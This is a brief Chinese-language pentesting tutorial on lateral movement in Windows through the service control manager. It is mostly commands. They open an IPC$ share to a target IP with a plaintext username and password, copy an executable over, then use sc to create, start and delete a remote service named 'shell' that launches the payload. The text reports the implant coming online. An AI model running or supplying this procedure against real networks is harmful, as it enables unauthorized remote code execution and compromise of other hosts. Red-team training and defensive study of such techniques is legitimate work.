利用windows服务之SC进行横向
0x01 前言
利用windows服务进行横向渗透主要是通过sc命令,但是注意这里跟之前windows远程命令相比多了一个条件,即当前主机需要为administrator权限。
0x02 sc命令
sc命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
利用sc命令进行横向渗透的大体流程如下:
1.与靶机建立ipc连接
1 | net use \\10.1.10.7\ipc$ "1qaz@WSX" /user:fzm\user1 |

2.拷贝exe到主机系统上

3.在靶机上创建一个shell的服务
1 | sc \\win7 create shell binpath= "c:\abc.exe" |

4.启动shell服务
1 | sc \\win7 start shell |

成功上线
5.删除创建的shell服务
1 | sc \\win7 delete shell |
